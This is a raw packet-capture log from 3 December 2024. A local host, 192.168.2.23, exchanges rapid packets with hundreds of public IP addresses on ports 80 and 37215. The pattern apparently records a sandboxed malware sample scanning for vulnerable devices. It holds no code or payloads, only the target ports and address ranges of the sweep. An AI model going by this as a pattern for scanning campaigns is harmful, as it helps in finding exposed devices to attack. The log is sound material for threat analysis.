Dec 3, 2024 22:11:44.169756889 CET	80	6883	101.223.136.34	192.168.2.23
Dec 3, 2024 22:11:44.169760942 CET	80	6883	5.32.89.130	192.168.2.23
Dec 3, 2024 22:11:44.169770002 CET	80	6883	149.242.48.117	192.168.2.23
Dec 3, 2024 22:11:44.169774055 CET	80	6883	181.235.46.4	192.168.2.23
Dec 3, 2024 22:11:44.169775009 CET	6883	80	192.168.2.23	199.171.215.168
Dec 3, 2024 22:11:44.169778109 CET	80	6883	104.116.15.251	192.168.2.23
Dec 3, 2024 22:11:44.169780016 CET	6883	80	192.168.2.23	202.58.88.161
Dec 3, 2024 22:11:44.169780970 CET	6883	80	192.168.2.23	86.186.134.17
Dec 3, 2024 22:11:44.169781923 CET	80	6883	154.38.122.211	192.168.2.23
Dec 3, 2024 22:11:44.169785023 CET	6883	80	192.168.2.23	137.67.252.177
Dec 3, 2024 22:11:44.169795036 CET	6883	80	192.168.2.23	101.223.136.34
Dec 3, 2024 22:11:44.169795990 CET	6883	80	192.168.2.23	5.32.89.130
Dec 3, 2024 22:11:44.169795990 CET	6883	80	192.168.2.23	149.242.48.117
Dec 3, 2024 22:11:44.169806957 CET	6883	80	192.168.2.23	104.116.15.251
Dec 3, 2024 22:11:44.169815063 CET	6883	80	192.168.2.23	181.235.46.4
Dec 3, 2024 22:11:44.169815063 CET	6883	80	192.168.2.23	154.38.122.211
Dec 3, 2024 22:11:44.169859886 CET	80	6883	68.168.27.205	192.168.2.23
Dec 3, 2024 22:11:44.169898033 CET	6883	80	192.168.2.23	68.168.27.205
Dec 3, 2024 22:11:44.170330048 CET	80	6883	216.119.130.18	192.168.2.23
Dec 3, 2024 22:11:44.170378923 CET	6883	80	192.168.2.23	216.119.130.18
Dec 3, 2024 22:11:44.170378923 CET	80	6883	185.48.78.162	192.168.2.23
Dec 3, 2024 22:11:44.170394897 CET	80	6883	135.61.149.25	192.168.2.23
Dec 3, 2024 22:11:44.170398951 CET	80	6883	45.51.122.136	192.168.2.23
Dec 3, 2024 22:11:44.170418024 CET	6883	80	192.168.2.23	185.48.78.162
Dec 3, 2024 22:11:44.170444965 CET	80	6883	160.24.63.218	192.168.2.23
Dec 3, 2024 22:11:44.170449972 CET	80	6883	76.138.153.79	192.168.2.23
Dec 3, 2024 22:11:44.170459032 CET	80	6883	200.215.61.153	192.168.2.23
Dec 3, 2024 22:11:44.170469046 CET	6883	80	192.168.2.23	135.61.149.25
Dec 3, 2024 22:11:44.170476913 CET	6883	80	192.168.2.23	45.51.122.136
Dec 3, 2024 22:11:44.170488119 CET	6883	80	192.168.2.23	76.138.153.79
Dec 3, 2024 22:11:44.170496941 CET	80	6883	113.121.116.45	192.168.2.23
Dec 3, 2024 22:11:44.170496941 CET	6883	80	192.168.2.23	160.24.63.218
Dec 3, 2024 22:11:44.170500994 CET	80	6883	158.27.211.96	192.168.2.23
Dec 3, 2024 22:11:44.170501947 CET	6883	80	192.168.2.23	200.215.61.153
Dec 3, 2024 22:11:44.170537949 CET	6883	80	192.168.2.23	113.121.116.45
Dec 3, 2024 22:11:44.170557976 CET	6883	80	192.168.2.23	158.27.211.96
Dec 3, 2024 22:11:44.170557976 CET	80	6883	74.10.98.27	192.168.2.23
Dec 3, 2024 22:11:44.170563936 CET	80	6883	134.54.41.102	192.168.2.23
Dec 3, 2024 22:11:44.170567989 CET	80	6883	74.5.172.169	192.168.2.23
Dec 3, 2024 22:11:44.170598984 CET	6883	80	192.168.2.23	134.54.41.102
Dec 3, 2024 22:11:44.170617104 CET	6883	80	192.168.2.23	74.10.98.27
Dec 3, 2024 22:11:44.170617104 CET	80	6883	189.47.210.198	192.168.2.23
Dec 3, 2024 22:11:44.170617104 CET	6883	80	192.168.2.23	74.5.172.169
Dec 3, 2024 22:11:44.170624018 CET	80	6883	101.121.195.147	192.168.2.23
Dec 3, 2024 22:11:44.170634985 CET	80	6883	89.94.159.81	192.168.2.23
Dec 3, 2024 22:11:44.170639038 CET	80	6883	144.30.203.3	192.168.2.23
Dec 3, 2024 22:11:44.170651913 CET	80	6883	196.246.122.224	192.168.2.23
Dec 3, 2024 22:11:44.170655012 CET	80	6883	57.133.132.28	192.168.2.23
Dec 3, 2024 22:11:44.170663118 CET	80	6883	59.86.240.234	192.168.2.23
Dec 3, 2024 22:11:44.170666933 CET	6883	80	192.168.2.23	144.30.203.3
Dec 3, 2024 22:11:44.170674086 CET	6883	80	192.168.2.23	101.121.195.147
Dec 3, 2024 22:11:44.170675993 CET	6883	80	192.168.2.23	189.47.210.198
Dec 3, 2024 22:11:44.170687914 CET	6883	80	192.168.2.23	196.246.122.224
Dec 3, 2024 22:11:44.170691013 CET	6883	80	192.168.2.23	57.133.132.28
Dec 3, 2024 22:11:44.170696020 CET	6883	80	192.168.2.23	59.86.240.234
Dec 3, 2024 22:11:44.170700073 CET	6883	80	192.168.2.23	89.94.159.81
Dec 3, 2024 22:11:44.170821905 CET	80	6883	27.78.17.63	192.168.2.23
Dec 3, 2024 22:11:44.170826912 CET	80	6883	106.77.171.135	192.168.2.23
Dec 3, 2024 22:11:44.170835972 CET	80	6883	88.86.252.96	192.168.2.23
Dec 3, 2024 22:11:44.170839071 CET	80	6883	150.141.241.82	192.168.2.23
Dec 3, 2024 22:11:44.170842886 CET	80	6883	78.0.49.150	192.168.2.23
Dec 3, 2024 22:11:44.170845985 CET	80	6883	114.131.21.148	192.168.2.23
Dec 3, 2024 22:11:44.170850039 CET	80	6883	64.220.109.182	192.168.2.23
Dec 3, 2024 22:11:44.170860052 CET	80	6883	76.149.142.165	192.168.2.23
Dec 3, 2024 22:11:44.170864105 CET	80	6883	181.229.226.253	192.168.2.23
Dec 3, 2024 22:11:44.170866966 CET	6883	80	192.168.2.23	106.77.171.135
Dec 3, 2024 22:11:44.170874119 CET	6883	80	192.168.2.23	88.86.252.96
Dec 3, 2024 22:11:44.170875072 CET	6883	80	192.168.2.23	27.78.17.63
Dec 3, 2024 22:11:44.170881033 CET	6883	80	192.168.2.23	150.141.241.82
Dec 3, 2024 22:11:44.170890093 CET	6883	80	192.168.2.23	114.131.21.148
Dec 3, 2024 22:11:44.170891047 CET	6883	80	192.168.2.23	78.0.49.150
Dec 3, 2024 22:11:44.170891047 CET	6883	80	192.168.2.23	76.149.142.165
Dec 3, 2024 22:11:44.170900106 CET	6883	80	192.168.2.23	64.220.109.182
Dec 3, 2024 22:11:44.170901060 CET	6883	80	192.168.2.23	181.229.226.253
Dec 3, 2024 22:11:44.171272993 CET	80	6883	58.0.164.167	192.168.2.23
Dec 3, 2024 22:11:44.171277046 CET	80	6883	49.126.113.143	192.168.2.23
Dec 3, 2024 22:11:44.171317101 CET	6883	80	192.168.2.23	58.0.164.167
Dec 3, 2024 22:11:44.171317101 CET	6883	80	192.168.2.23	49.126.113.143
Dec 3, 2024 22:11:44.171330929 CET	80	6883	179.193.52.55	192.168.2.23
Dec 3, 2024 22:11:44.171334982 CET	80	6883	86.185.161.204	192.168.2.23
Dec 3, 2024 22:11:44.171374083 CET	6883	80	192.168.2.23	179.193.52.55
Dec 3, 2024 22:11:44.171377897 CET	6883	80	192.168.2.23	86.185.161.204
Dec 3, 2024 22:11:44.171391964 CET	80	6883	100.237.24.89	192.168.2.23
Dec 3, 2024 22:11:44.171396971 CET	80	6883	89.241.236.75	192.168.2.23
Dec 3, 2024 22:11:44.171416044 CET	80	6883	206.120.139.139	192.168.2.23
Dec 3, 2024 22:11:44.171420097 CET	80	6883	57.180.157.230	192.168.2.23
Dec 3, 2024 22:11:44.171428919 CET	80	6883	53.10.143.165	192.168.2.23
Dec 3, 2024 22:11:44.171435118 CET	80	6883	27.217.187.211	192.168.2.23
Dec 3, 2024 22:11:44.171437979 CET	6883	80	192.168.2.23	100.237.24.89
Dec 3, 2024 22:11:44.171443939 CET	6883	80	192.168.2.23	89.241.236.75
Dec 3, 2024 22:11:44.171452999 CET	6883	80	192.168.2.23	206.120.139.139
Dec 3, 2024 22:11:44.171462059 CET	6883	80	192.168.2.23	57.180.157.230
Dec 3, 2024 22:11:44.171472073 CET	6883	80	192.168.2.23	27.217.187.211
Dec 3, 2024 22:11:44.171474934 CET	6883	80	192.168.2.23	53.10.143.165
Dec 3, 2024 22:11:44.171477079 CET	80	6883	197.139.43.33	192.168.2.23
Dec 3, 2024 22:11:44.171482086 CET	80	6883	97.234.122.140	192.168.2.23
Dec 3, 2024 22:11:44.171485901 CET	80	6883	97.144.93.49	192.168.2.23
Dec 3, 2024 22:11:44.171519995 CET	6883	80	192.168.2.23	97.144.93.49
Dec 3, 2024 22:11:44.171526909 CET	6883	80	192.168.2.23	97.234.122.140
Dec 3, 2024 22:11:44.171528101 CET	6883	80	192.168.2.23	197.139.43.33
Dec 3, 2024 22:11:44.171572924 CET	80	6883	160.31.72.118	192.168.2.23
Dec 3, 2024 22:11:44.171576977 CET	80	6883	129.54.235.141	192.168.2.23
Dec 3, 2024 22:11:44.171586990 CET	80	6883	32.245.197.175	192.168.2.23
Dec 3, 2024 22:11:44.171617985 CET	80	6883	73.53.188.240	192.168.2.23
Dec 3, 2024 22:11:44.171618938 CET	6883	80	192.168.2.23	160.31.72.118
Dec 3, 2024 22:11:44.171622038 CET	80	6883	58.203.244.105	192.168.2.23
Dec 3, 2024 22:11:44.171626091 CET	80	6883	80.164.159.193	192.168.2.23
Dec 3, 2024 22:11:44.171627045 CET	6883	80	192.168.2.23	129.54.235.141
Dec 3, 2024 22:11:44.171627045 CET	6883	80	192.168.2.23	32.245.197.175
Dec 3, 2024 22:11:44.171648026 CET	80	6883	195.245.9.198	192.168.2.23
Dec 3, 2024 22:11:44.171659946 CET	6883	80	192.168.2.23	73.53.188.240
Dec 3, 2024 22:11:44.171660900 CET	6883	80	192.168.2.23	58.203.244.105
Dec 3, 2024 22:11:44.171663046 CET	6883	80	192.168.2.23	80.164.159.193
Dec 3, 2024 22:11:44.171686888 CET	6883	80	192.168.2.23	195.245.9.198
Dec 3, 2024 22:11:44.171701908 CET	80	6883	71.66.82.75	192.168.2.23
Dec 3, 2024 22:11:44.171706915 CET	80	6883	111.241.183.132	192.168.2.23
Dec 3, 2024 22:11:44.171749115 CET	6883	80	192.168.2.23	71.66.82.75
Dec 3, 2024 22:11:44.171749115 CET	6883	80	192.168.2.23	111.241.183.132
Dec 3, 2024 22:11:44.171751022 CET	80	6883	73.146.243.70	192.168.2.23
Dec 3, 2024 22:11:44.171755075 CET	80	6883	90.180.56.36	192.168.2.23
Dec 3, 2024 22:11:44.171813965 CET	6883	80	192.168.2.23	90.180.56.36
Dec 3, 2024 22:11:44.171835899 CET	6883	80	192.168.2.23	73.146.243.70
Dec 3, 2024 22:11:44.171855927 CET	80	6883	149.195.240.190	192.168.2.23
Dec 3, 2024 22:11:44.171909094 CET	80	6883	92.218.252.249	192.168.2.23
Dec 3, 2024 22:11:44.171912909 CET	80	6883	185.211.83.117	192.168.2.23
Dec 3, 2024 22:11:44.171917915 CET	80	6883	105.168.164.39	192.168.2.23
Dec 3, 2024 22:11:44.171921968 CET	6883	80	192.168.2.23	149.195.240.190
Dec 3, 2024 22:11:44.171951056 CET	6883	80	192.168.2.23	185.211.83.117
Dec 3, 2024 22:11:44.171951056 CET	6883	80	192.168.2.23	92.218.252.249
Dec 3, 2024 22:11:44.171957016 CET	6883	80	192.168.2.23	105.168.164.39
Dec 3, 2024 22:11:44.172708035 CET	80	6883	155.145.231.97	192.168.2.23
Dec 3, 2024 22:11:44.172713995 CET	80	6883	193.255.47.80	192.168.2.23
Dec 3, 2024 22:11:44.172746897 CET	6883	80	192.168.2.23	155.145.231.97
Dec 3, 2024 22:11:44.172755957 CET	80	6883	171.23.102.28	192.168.2.23
Dec 3, 2024 22:11:44.172759056 CET	6883	80	192.168.2.23	193.255.47.80
Dec 3, 2024 22:11:44.172760010 CET	80	6883	120.239.162.218	192.168.2.23
Dec 3, 2024 22:11:44.172770977 CET	80	6883	130.130.195.90	192.168.2.23
Dec 3, 2024 22:11:44.172775984 CET	80	6883	58.14.133.86	192.168.2.23
Dec 3, 2024 22:11:44.172780991 CET	80	6883	200.53.138.211	192.168.2.23
Dec 3, 2024 22:11:44.172800064 CET	6883	80	192.168.2.23	171.23.102.28
Dec 3, 2024 22:11:44.172801018 CET	6883	80	192.168.2.23	120.239.162.218
Dec 3, 2024 22:11:44.172807932 CET	6883	80	192.168.2.23	58.14.133.86
Dec 3, 2024 22:11:44.172821045 CET	37215	5603	197.67.155.159	192.168.2.23
Dec 3, 2024 22:11:44.172825098 CET	37215	5603	197.224.243.28	192.168.2.23
Dec 3, 2024 22:11:44.172830105 CET	6883	80	192.168.2.23	130.130.195.90
Dec 3, 2024 22:11:44.172830105 CET	6883	80	192.168.2.23	200.53.138.211
Dec 3, 2024 22:11:44.172832966 CET	37215	5603	197.91.108.249	192.168.2.23
Dec 3, 2024 22:11:44.172838926 CET	37215	5603	156.140.107.165	192.168.2.23
Dec 3, 2024 22:11:44.172848940 CET	37215	5603	197.18.224.230	192.168.2.23
Dec 3, 2024 22:11:44.172863960 CET	5603	37215	192.168.2.23	197.67.155.159
Dec 3, 2024 22:11:44.172873974 CET	5603	37215	192.168.2.23	197.91.108.249
Dec 3, 2024 22:11:44.172874928 CET	5603	37215	192.168.2.23	197.224.243.28
Dec 3, 2024 22:11:44.172874928 CET	5603	37215	192.168.2.23	156.140.107.165
Dec 3, 2024 22:11:44.172883034 CET	5603	37215	192.168.2.23	197.18.224.230
Dec 3, 2024 22:11:44.172931910 CET	37215	5603	197.228.146.171	192.168.2.23
Dec 3, 2024 22:11:44.172936916 CET	37215	5603	156.186.236.56	192.168.2.23
Dec 3, 2024 22:11:44.172940969 CET	37215	5603	197.120.95.25	192.168.2.23
Dec 3, 2024 22:11:44.172945976 CET	37215	5603	41.171.36.166	192.168.2.23
Dec 3, 2024 22:11:44.172949076 CET	37215	5603	197.243.255.70	192.168.2.23
Dec 3, 2024 22:11:44.172971964 CET	5603	37215	192.168.2.23	197.228.146.171
Dec 3, 2024 22:11:44.172985077 CET	5603	37215	192.168.2.23	197.243.255.70
Dec 3, 2024 22:11:44.172985077 CET	5603	37215	192.168.2.23	197.120.95.25
Dec 3, 2024 22:11:44.172986031 CET	37215	5603	156.160.174.192	192.168.2.23
Dec 3, 2024 22:11:44.172985077 CET	5603	37215	192.168.2.23	41.171.36.166
Dec 3, 2024 22:11:44.172985077 CET	5603	37215	192.168.2.23	156.186.236.56
Dec 3, 2024 22:11:44.172991037 CET	37215	5603	41.34.175.42	192.168.2.23
Dec 3, 2024 22:11:44.173001051 CET	37215	5603	197.226.124.101	192.168.2.23
Dec 3, 2024 22:11:44.173005104 CET	37215	5603	41.151.197.138	192.168.2.23
Dec 3, 2024 22:11:44.173038006 CET	5603	37215	192.168.2.23	197.226.124.101
Dec 3, 2024 22:11:44.173046112 CET	5603	37215	192.168.2.23	41.34.175.42
Dec 3, 2024 22:11:44.173048019 CET	5603	37215	192.168.2.23	41.151.197.138
Dec 3, 2024 22:11:44.173053980 CET	5603	37215	192.168.2.23	156.160.174.192
Dec 3, 2024 22:11:44.173055887 CET	37215	5603	41.124.207.27	192.168.2.23
Dec 3, 2024 22:11:44.173060894 CET	37215	5603	197.174.43.135	192.168.2.23
Dec 3, 2024 22:11:44.173095942 CET	37215	5603	156.108.241.36	192.168.2.23
Dec 3, 2024 22:11:44.173099995 CET	37215	5603	41.113.246.230	192.168.2.23
Dec 3, 2024 22:11:44.173104048 CET	37215	5603	156.104.230.69	192.168.2.23
Dec 3, 2024 22:11:44.173106909 CET	37215	5603	41.189.100.51	192.168.2.23
Dec 3, 2024 22:11:44.173127890 CET	5603	37215	192.168.2.23	41.124.207.27
Dec 3, 2024 22:11:44.173127890 CET	5603	37215	192.168.2.23	156.108.241.36
Dec 3, 2024 22:11:44.173129082 CET	5603	37215	192.168.2.23	197.174.43.135
Dec 3, 2024 22:11:44.173141003 CET	5603	37215	192.168.2.23	41.189.100.51
Dec 3, 2024 22:11:44.173146963 CET	5603	37215	192.168.2.23	156.104.230.69
Dec 3, 2024 22:11:44.173158884 CET	5603	37215	192.168.2.23	41.113.246.230
Dec 3, 2024 22:11:44.173824072 CET	37215	5603	156.254.206.106	192.168.2.23
Dec 3, 2024 22:11:44.173883915 CET	37215	5603	197.212.168.108	192.168.2.23
Dec 3, 2024 22:11:44.173892021 CET	37215	5603	197.39.243.164	192.168.2.23
Dec 3, 2024 22:11:44.173896074 CET	37215	5603	41.130.35.173	192.168.2.23
Dec 3, 2024 22:11:44.173932076 CET	37215	5603	41.193.228.231	192.168.2.23
Dec 3, 2024 22:11:44.173934937 CET	5603	37215	192.168.2.23	156.254.206.106
Dec 3, 2024 22:11:44.173935890 CET	37215	5603	156.89.218.65	192.168.2.23
Dec 3, 2024 22:11:44.173940897 CET	37215	5603	156.15.33.13	192.168.2.23
Dec 3, 2024 22:11:44.173940897 CET	5603	37215	192.168.2.23	197.212.168.108
Dec 3, 2024 22:11:44.173942089 CET	5603	37215	192.168.2.23	197.39.243.164
Dec 3, 2024 22:11:44.173945904 CET	5603	37215	192.168.2.23	41.130.35.173
Dec 3, 2024 22:11:44.173960924 CET	5603	37215	192.168.2.23	41.193.228.231
Dec 3, 2024 22:11:44.173969030 CET	5603	37215	192.168.2.23	156.15.33.13
Dec 3, 2024 22:11:44.173985958 CET	5603	37215	192.168.2.23	156.89.218.65
Dec 3, 2024 22:11:44.174015999 CET	37215	5603	197.160.94.206	192.168.2.23
Dec 3, 2024 22:11:44.174021959 CET	37215	5603	41.137.19.237	192.168.2.23
Dec 3, 2024 22:11:44.174031019 CET	37215	5603	197.142.28.246	192.168.2.23
Dec 3, 2024 22:11:44.174036026 CET	37215	5603	41.184.127.190	192.168.2.23
Dec 3, 2024 22:11:44.174058914 CET	5603	37215	192.168.2.23	197.160.94.206
Dec 3, 2024 22:11:44.174061060 CET	37215	5603	197.69.149.66	192.168.2.23
Dec 3, 2024 22:11:44.174062967 CET	5603	37215	192.168.2.23	41.184.127.190
Dec 3, 2024 22:11:44.174073935 CET	5603	37215	192.168.2.23	197.142.28.246
Dec 3, 2024 22:11:44.174082041 CET	5603	37215	192.168.2.23	41.137.19.237
Dec 3, 2024 22:11:44.174098969 CET	37215	5603	156.23.82.23	192.168.2.23
Dec 3, 2024 22:11:44.174098969 CET	5603	37215	192.168.2.23	197.69.149.66
Dec 3, 2024 22:11:44.174143076 CET	37215	5603	156.72.239.217	192.168.2.23
Dec 3, 2024 22:11:44.174151897 CET	37215	5603	156.24.103.58	192.168.2.23
Dec 3, 2024 22:11:44.174189091 CET	5603	37215	192.168.2.23	156.23.82.23
Dec 3, 2024 22:11:44.174192905 CET	5603	37215	192.168.2.23	156.24.103.58
Dec 3, 2024 22:11:44.174201965 CET	37215	5603	41.38.192.226	192.168.2.23
Dec 3, 2024 22:11:44.174206972 CET	37215	5603	197.48.12.135	192.168.2.23
Dec 3, 2024 22:11:44.174221992 CET	5603	37215	192.168.2.23	156.72.239.217
Dec 3, 2024 22:11:44.174233913 CET	37215	5603	197.207.248.65	192.168.2.23
Dec 3, 2024 22:11:44.174237967 CET	37215	5603	197.47.49.224	192.168.2.23
Dec 3, 2024 22:11:44.174251080 CET	5603	37215	192.168.2.23	41.38.192.226
Dec 3, 2024 22:11:44.174251080 CET	5603	37215	192.168.2.23	197.48.12.135
Dec 3, 2024 22:11:44.174269915 CET	5603	37215	192.168.2.23	197.207.248.65
Dec 3, 2024 22:11:44.174276114 CET	5603	37215	192.168.2.23	197.47.49.224
Dec 3, 2024 22:11:44.174341917 CET	37215	5603	197.47.6.201	192.168.2.23
Dec 3, 2024 22:11:44.174346924 CET	37215	5603	156.36.48.61	192.168.2.23
Dec 3, 2024 22:11:44.174355984 CET	37215	5603	156.0.27.241	192.168.2.23
Dec 3, 2024 22:11:44.174360037 CET	37215	5603	156.144.170.69	192.168.2.23
Dec 3, 2024 22:11:44.174364090 CET	37215	5603	197.197.234.124	192.168.2.23
Dec 3, 2024 22:11:44.174367905 CET	37215	5603	156.97.170.104	192.168.2.23
Dec 3, 2024 22:11:44.174376011 CET	37215	5603	41.174.197.217	192.168.2.23
Dec 3, 2024 22:11:44.174380064 CET	37215	5603	41.149.21.32	192.168.2.23
Dec 3, 2024 22:11:44.174382925 CET	37215	5603	41.148.154.185	192.168.2.23
Dec 3, 2024 22:11:44.174386024 CET	5603	37215	192.168.2.23	197.47.6.201
Dec 3, 2024 22:11:44.174391985 CET	5603	37215	192.168.2.23	156.36.48.61
Dec 3, 2024 22:11:44.174391985 CET	5603	37215	192.168.2.23	156.0.27.241
Dec 3, 2024 22:11:44.174401999 CET	5603	37215	192.168.2.23	156.144.170.69
Dec 3, 2024 22:11:44.174401999 CET	5603	37215	192.168.2.23	156.97.170.104
Dec 3, 2024 22:11:44.174413919 CET	5603	37215	192.168.2.23	41.174.197.217
Dec 3, 2024 22:11:44.174417973 CET	5603	37215	192.168.2.23	41.149.21.32
Dec 3, 2024 22:11:44.174420118 CET	5603	37215	192.168.2.23	41.148.154.185
Dec 3, 2024 22:11:44.174421072 CET	5603	37215	192.168.2.23	197.197.234.124
Dec 3, 2024 22:11:44.174875021 CET	37215	5603	41.234.229.143	192.168.2.23
Dec 3, 2024 22:11:44.174897909 CET	37215	5603	156.209.156.30	192.168.2.23
Dec 3, 2024 22:11:44.174901962 CET	37215	5603	41.102.251.3	192.168.2.23
Dec 3, 2024 22:11:44.174917936 CET	5603	37215	192.168.2.23	41.234.229.143
Dec 3, 2024 22:11:44.174932957 CET	5603	37215	192.168.2.23	41.102.251.3
Dec 3, 2024 22:11:44.174937010 CET	5603	37215	192.168.2.23	156.209.156.30
Dec 3, 2024 22:11:44.174945116 CET	37215	5603	156.175.253.112	192.168.2.23
Dec 3, 2024 22:11:44.174989939 CET	5603	37215	192.168.2.23	156.175.253.112
Dec 3, 2024 22:11:44.175015926 CET	37215	5603	156.208.169.131	192.168.2.23
Dec 3, 2024 22:11:44.175020933 CET	37215	5603	197.180.125.61	192.168.2.23
Dec 3, 2024 22:11:44.175029993 CET	37215	5603	41.109.223.186	192.168.2.23
Dec 3, 2024 22:11:44.175034046 CET	37215	5603	41.220.209.203	192.168.2.23
Dec 3, 2024 22:11:44.175045967 CET	37215	5603	41.71.44.255	192.168.2.23
Dec 3, 2024 22:11:44.175050020 CET	37215	5603	41.27.248.160	192.168.2.23
Dec 3, 2024 22:11:44.175057888 CET	5603	37215	192.168.2.23	197.180.125.61
Dec 3, 2024 22:11:44.175062895 CET	5603	37215	192.168.2.23	156.208.169.131
Dec 3, 2024 22:11:44.175069094 CET	5603	37215	192.168.2.23	41.109.223.186
Dec 3, 2024 22:11:44.175070047 CET	5603	37215	192.168.2.23	41.220.209.203
Dec 3, 2024 22:11:44.175084114 CET	5603	37215	192.168.2.23	41.71.44.255
Dec 3, 2024 22:11:44.175091982 CET	5603	37215	192.168.2.23	41.27.248.160
Dec 3, 2024 22:11:44.175093889 CET	37215	5603	41.168.105.84	192.168.2.23
Dec 3, 2024 22:11:44.175098896 CET	37215	5603	197.60.214.149	192.168.2.23
Dec 3, 2024 22:11:44.175102949 CET	37215	5603	41.242.136.139	192.168.2.23
Dec 3, 2024 22:11:44.175107002 CET	37215	5603	197.81.10.109	192.168.2.23
Dec 3, 2024 22:11:44.175127983 CET	5603	37215	192.168.2.23	41.168.105.84
Dec 3, 2024 22:11:44.175134897 CET	5603	37215	192.168.2.23	197.60.214.149
Dec 3, 2024 22:11:44.175143003 CET	5603	37215	192.168.2.23	197.81.10.109
Dec 3, 2024 22:11:44.175143957 CET	5603	37215	192.168.2.23	41.242.136.139
Dec 3, 2024 22:11:44.175159931 CET	37215	5603	156.39.138.66	192.168.2.23
Dec 3, 2024 22:11:44.175163984 CET	37215	5603	197.105.24.215	192.168.2.23
Dec 3, 2024 22:11:44.175192118 CET	37215	5603	156.39.55.6	192.168.2.23
Dec 3, 2024 22:11:44.175195932 CET	37215	5603	41.194.254.181	192.168.2.23
Dec 3, 2024 22:11:44.175199986 CET	37215	5603	197.165.87.130	192.168.2.23
Dec 3, 2024 22:11:44.175199986 CET	5603	37215	192.168.2.23	156.39.138.66
Dec 3, 2024 22:11:44.175213099 CET	5603	37215	192.168.2.23	197.105.24.215
Dec 3, 2024 22:11:44.175218105 CET	37215	5603	41.35.128.199	192.168.2.23
Dec 3, 2024 22:11:44.175223112 CET	37215	5603	156.117.198.81	192.168.2.23
Dec 3, 2024 22:11:44.175229073 CET	5603	37215	192.168.2.23	156.39.55.6
Dec 3, 2024 22:11:44.175230980 CET	5603	37215	192.168.2.23	197.165.87.130
Dec 3, 2024 22:11:44.175235987 CET	5603	37215	192.168.2.23	41.194.254.181
Dec 3, 2024 22:11:44.175256968 CET	5603	37215	192.168.2.23	41.35.128.199
Dec 3, 2024 22:11:44.175256968 CET	5603	37215	192.168.2.23	156.117.198.81
Dec 3, 2024 22:11:44.175339937 CET	37215	5603	156.26.188.172	192.168.2.23
Dec 3, 2024 22:11:44.175344944 CET	37215	5603	156.7.182.65	192.168.2.23
Dec 3, 2024 22:11:44.175353050 CET	37215	5603	156.55.177.13	192.168.2.23
Dec 3, 2024 22:11:44.175357103 CET	37215	5603	156.253.143.126	192.168.2.23
Dec 3, 2024 22:11:44.175365925 CET	37215	5603	41.12.245.104	192.168.2.23
Dec 3, 2024 22:11:44.175369024 CET	37215	5603	197.9.17.119	192.168.2.23
Dec 3, 2024 22:11:44.175373077 CET	37215	5603	156.152.51.222	192.168.2.23
Dec 3, 2024 22:11:44.175384998 CET	5603	37215	192.168.2.23	156.7.182.65
Dec 3, 2024 22:11:44.175394058 CET	5603	37215	192.168.2.23	156.55.177.13
Dec 3, 2024 22:11:44.175398111 CET	5603	37215	192.168.2.23	41.12.245.104
Dec 3, 2024 22:11:44.175400972 CET	5603	37215	192.168.2.23	156.26.188.172
Dec 3, 2024 22:11:44.175403118 CET	5603	37215	192.168.2.23	156.253.143.126
Dec 3, 2024 22:11:44.175405025 CET	5603	37215	192.168.2.23	197.9.17.119
Dec 3, 2024 22:11:44.175417900 CET	5603	37215	192.168.2.23	156.152.51.222
Dec 3, 2024 22:11:44.176211119 CET	37215	5603	41.154.227.62	192.168.2.23
Dec 3, 2024 22:11:44.176215887 CET	37215	5603	156.250.102.207	192.168.2.23
Dec 3, 2024 22:11:44.176225901 CET	37215	5603	41.92.113.19	192.168.2.23
Dec 3, 2024 22:11:44.176239967 CET	37215	5603	197.213.141.6	192.168.2.23
Dec 3, 2024 22:11:44.176244020 CET	37215	5603	156.139.41.144	192.168.2.23
Dec 3, 2024 22:11:44.176251888 CET	37215	5603	156.104.17.91	192.168.2.23
Dec 3, 2024 22:11:44.176255941 CET	5603	37215	192.168.2.23	41.154.227.62
Dec 3, 2024 22:11:44.176261902 CET	5603	37215	192.168.2.23	41.92.113.19
Dec 3, 2024 22:11:44.176278114 CET	5603	37215	192.168.2.23	156.250.102.207
Dec 3, 2024 22:11:44.176284075 CET	5603	37215	192.168.2.23	156.104.17.91
Dec 3, 2024 22:11:44.176286936 CET	5603	37215	192.168.2.23	197.213.141.6
Dec 3, 2024 22:11:44.176301003 CET	5603	37215	192.168.2.23	156.139.41.144
Dec 3, 2024 22:11:44.176307917 CET	37215	5603	197.77.164.208	192.168.2.23
Dec 3, 2024 22:11:44.176311970 CET	37215	5603	41.69.154.69	192.168.2.23
Dec 3, 2024 22:11:44.176322937 CET	37215	5603	156.15.20.128	192.168.2.23
Dec 3, 2024 22:11:44.176357985 CET	5603	37215	192.168.2.23	41.69.154.69
Dec 3, 2024 22:11:44.176362038 CET	37215	5603	41.15.1.86	192.168.2.23
Dec 3, 2024 22:11:44.176367044 CET	5603	37215	192.168.2.23	197.77.164.208
Dec 3, 2024 22:11:44.176374912 CET	5603	37215	192.168.2.23	156.15.20.128
Dec 3, 2024 22:11:44.176384926 CET	37215	5603	156.84.27.172	192.168.2.23
Dec 3, 2024 22:11:44.176394939 CET	5603	37215	192.168.2.23	41.15.1.86
Dec 3, 2024 22:11:44.176419973 CET	37215	5603	197.71.63.187	192.168.2.23
Dec 3, 2024 22:11:44.176419973 CET	5603	37215	192.168.2.23	156.84.27.172
Dec 3, 2024 22:11:44.176431894 CET	37215	5603	41.196.69.158	192.168.2.23
Dec 3, 2024 22:11:44.176470995 CET	5603	37215	192.168.2.23	41.196.69.158
Dec 3, 2024 22:11:44.176470995 CET	5603	37215	192.168.2.23	197.71.63.187
Dec 3, 2024 22:11:44.176481009 CET	37215	5603	156.45.178.213	192.168.2.23
Dec 3, 2024 22:11:44.176486015 CET	37215	5603	41.116.80.99	192.168.2.23
Dec 3, 2024 22:11:44.176491022 CET	37215	5603	41.51.177.163	192.168.2.23
Dec 3, 2024 22:11:44.176520109 CET	5603	37215	192.168.2.23	156.45.178.213
Dec 3, 2024 22:11:44.176520109 CET	5603	37215	192.168.2.23	41.51.177.163
Dec 3, 2024 22:11:44.176525116 CET	5603	37215	192.168.2.23	41.116.80.99
Dec 3, 2024 22:11:44.176542997 CET	37215	5603	41.35.173.103	192.168.2.23
Dec 3, 2024 22:11:44.176548004 CET	37215	5603	41.229.249.221	192.168.2.23
Dec 3, 2024 22:11:44.176552057 CET	37215	5603	156.214.229.201	192.168.2.23
Dec 3, 2024 22:11:44.176556110 CET	37215	5603	197.11.220.187	192.168.2.23
Dec 3, 2024 22:11:44.176582098 CET	5603	37215	192.168.2.23	41.229.249.221
Dec 3, 2024 22:11:44.176589966 CET	5603	37215	192.168.2.23	41.35.173.103
Dec 3, 2024 22:11:44.176592112 CET	5603	37215	192.168.2.23	156.214.229.201
Dec 3, 2024 22:11:44.176593065 CET	5603	37215	192.168.2.23	197.11.220.187
